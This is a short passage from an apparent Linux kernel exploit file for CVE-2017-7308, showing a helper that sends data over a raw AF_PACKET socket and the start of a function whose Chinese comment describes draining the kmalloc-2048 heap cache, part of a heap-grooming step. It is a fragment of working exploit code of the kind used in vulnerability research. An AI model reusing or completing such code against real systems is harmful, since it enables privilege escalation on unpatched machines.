Function loopback_send

CVE-2017-7308/exploit.c:146–154

}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}
// (1-1) 消耗 kmalloc-2048
int packet_sock_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));